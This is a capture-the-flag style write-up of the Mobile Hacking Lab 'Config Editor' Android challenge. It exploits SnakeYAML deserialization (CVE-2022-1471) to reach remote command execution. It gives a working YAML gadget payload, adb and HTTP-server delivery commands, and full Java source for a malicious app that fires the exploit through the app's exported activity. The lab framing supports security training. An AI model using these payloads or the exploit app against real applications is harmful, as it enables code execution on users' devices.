Mobile Hacking Lab – Config Editor

Description: Welcome to the Config Editor Challenge! In this lab, you’ll dive into a realistic situation involving vulnerabilities in a widely-used third-party library. Your objective is to exploit a library-induced vulnerability to achieve RCE on an Android application.

Config Editor

Install the APP with ADB

				
					adb install -r configEditor.apk
				
			

We can see that there ask for storage permissions.
Also, notice that we have two buttonsload and save.

We have an TextEdit so, we can save this text content into a .yml file.
By default, it select the Downloads directory.
Also, when we load a the file, it by default search in Downloads directory.
Notice that when we save the file, it saved as example.yml (1). Its weird because I don’t have any .yml file previous to this challenges.
So, let’s try the example.yml file.

Not what I expected..
But, why this app use .yml file for store text plain information?

About .yml and Android

.yml file (YAML Ain’t Markup Language) is a data serialization format widely used for its simplicity and human readability. In the context of mobile hacking.yml files can be a goldmine for an attacker, as they often contain critical settingscredentials or important paths.

Use of .yml

1️⃣ Configuration Files

  • They store application configurations, such as API endpoints, encryption keys, permission settings, etc.

2️⃣ Credential Files

  • In poorly configured environments, they may contain API keys, secrets, or even login credentials.

3️⃣ Data persistence

  • Some apps use YAML to store serialized user or session data.

4️⃣ Build Tools configuration

  • Tools such as GradleCI/CD pipelines (Jenkins, GitLab CI) or specific frameworks can use .yml to configure the build and deployment environment.

Let’s continue with the challenge!
Decompile the apk with apktool

				
					apktool d configEditor.apk
				
			

Also, let’s import the apk into jadx for source code revision.

We can see that in this method (loadYaml)

				
					public final void loadYaml(Uri uri) {
    try {
        ParcelFileDescriptor openFileDescriptor = getContentResolver().openFileDescriptor(uri, "r");
        try {
            ParcelFileDescriptor parcelFileDescriptor = openFileDescriptor;
            FileInputStream inputStream = new FileInputStream(parcelFileDescriptor != null ? parcelFileDescriptor.getFileDescriptor() : null);
            DumperOptions $this$loadYaml_u24lambda_u249_u24lambda_u248 = new DumperOptions();
            $this$loadYaml_u24lambda_u249_u24lambda_u248.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
            $this$loadYaml_u24lambda_u249_u24lambda_u248.setIndent(2);
            $this$loadYaml_u24lambda_u249_u24lambda_u248.setPrettyFlow(true);
            Yaml yaml = new Yaml($this$loadYaml_u24lambda_u249_u24lambda_u248);
            Object deserializedData = yaml.load(inputStream);
            String serializedData = yaml.dump(deserializedData);
            ActivityMainBinding activityMainBinding = this.binding;
            if (activityMainBinding == null) {
                Intrinsics.throwUninitializedPropertyAccessException("binding");
                activityMainBinding = null;
            }
            activityMainBinding.contentArea.setText(serializedData);
            Unit unit = Unit.INSTANCE;
            Closeable.closeFinally(openFileDescriptor, null);
        } finally {
        }
    } catch (Exception e) {
        Log.e(TAG, "Error loading YAML: " + uri, e);
    }
}
				
			

We can notice how is configured.

Continue reading the class, you can notice that in the loadYaml() function, if we insert special chars like > or |, (then save file) and we filter logcat with

				
					adb logcat | grep "Error"
				
			

We can see that we get the Error loading YAML: message.

Notice that the third-party library is SnakeYAML.
Some days ago, I was realize an Mobile CTF from PwnSec CTF 2024 that have an SnakeYAML Deserialization.
https://lautarovculic.com/pwnsec-ctf-2024-snake/

So we must handle a deserialization attack. For this, we need search in the source code about some function that execute commands.

After a simple search in jadx

We can found the LegacyCommandUtil class.

				
					public final class LegacyCommandUtil {  
    public LegacyCommandUtil(String command) {  
        Intrinsics.checkNotNullParameter(command, "command");  
        Runtime.getRuntime().exec(command);  
    }  
}
				
			

As well in my previous CTF challenge, we need exploit CVE-2022-1471
https://www.veracode.com/blog/research/resolving-cve-2022-1471-snakeyaml-20-release-0

So, the payload probably must look like:

				
					exploit: !!com.mobilehackinglab.configeditor.LegacyCommandUtil ["command"]
				
			

For example, my machine IP is 192.168.18.44 and the mobile device IP 192.168.18.162.
Let’s create this .yml file:

				
					exploit: !!com.mobilehackinglab.configeditor.LegacyCommandUtil ["ping 192.168.18.44"]
				
			

And, let’s set up a tcpdump command for listen the ICMP request

				
					sudo tcpdump -i wlan0 | grep ICMP
				
			

Then, save the file in an .yml file with the app. And also, load the .yml file.

Notice that we receive the ICMP request due to ping command.
You also can test many others commands -repeating the same process, you can notice if the command work or not filtering with logcat

				
					adb logcat | grep "Error"
				
			

So, we finish the lab. But, you has been notice that the app have exported=true the activity, and also have the intent?

				
					<activity
    android:name="com.mobilehackinglab.configeditor.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="file"/>
        <data android:scheme="http"/>
        <data android:scheme="https"/>
        <data android:mimeType="application/yaml"/>
    </intent-filter>
</activity>
				
			

We can craft an “malicious” app that send the .yml file for be processed by Config Editor app through the file scheme and via http/https.

So, in our machine, host with a python server the exmploit.yml file.

				
					python3 -m http.server 8081
				
			

Then send through ADB for test

				
					adb shell am start -n com.mobilehackinglab.configeditor/.MainActivity -a android.intent.action.VIEW -d "http://192.168.18.44:8081/exploit.yml"
				
			

And yes, this work!

Taking advantage of the fact that the activity is exported, we can create a simple app that sends an intent.

				
					package com.lautaro.exploiteditor;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Create intent
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse("http://192.168.18.44:8081/exploit.yml"));
        intent.setClassName("com.mobilehackinglab.configeditor", "com.mobilehackinglab.configeditor.MainActivity");

        // Launch intent
        startActivity(intent);

        // Finish malicious app
        finish();
    }
}
				
			

Or more better!!! We can use the file scheme, if we don’t care about host the .yml file in an external server or the victim device don’t have internet access.
We can create an .yml file with our app, then, send the intent loading the exploit.

				
					package com.lautaro.exploiteditor;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import androidx.appcompat.app.AppCompatActivity;

import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStreamWriter;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "ExploitLauncher";
    private static final String FILE_NAME = "exploit.yml";
    private static final String EXPLOIT_CONTENT = "exploit: !!com.mobilehackinglab.configeditor.LegacyCommandUtil [\"ping 192.168.18.44\"]";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        try {
            // Create file
            File file = new File(getFilesDir(), FILE_NAME);
            FileOutputStream fos = new FileOutputStream(file);
            OutputStreamWriter writer = new OutputStreamWriter(fos);
            writer.write(EXPLOIT_CONTENT);
            writer.close();
            fos.close();

            Log.d(TAG, "Archivo exploit.yml creado en: " + file.getAbsolutePath());

            // Create intent
            Uri fileUri = Uri.parse("file://" + file.getAbsolutePath());
            Intent intent = new Intent(Intent.ACTION_VIEW);
            intent.setDataAndType(fileUri, "application/yaml");
            intent.setClassName("com.mobilehackinglab.configeditor", "com.mobilehackinglab.configeditor.MainActivity");
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

            startActivity(intent);
            Log.d(TAG, "Intent enviado correctamente con archivo exploit.yml");

        } catch (Exception e) {
            Log.e(TAG, "Error al crear o enviar el exploit.yml", e);
        }

        // Finish our app
        finish();
    }
}
				
			

Don’t forget put in the AndroidManifest.xml this permissions

				
					<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
				
			

I hope you found it useful (:

Leave a Reply

Your email address will not be published. Required fields are marked *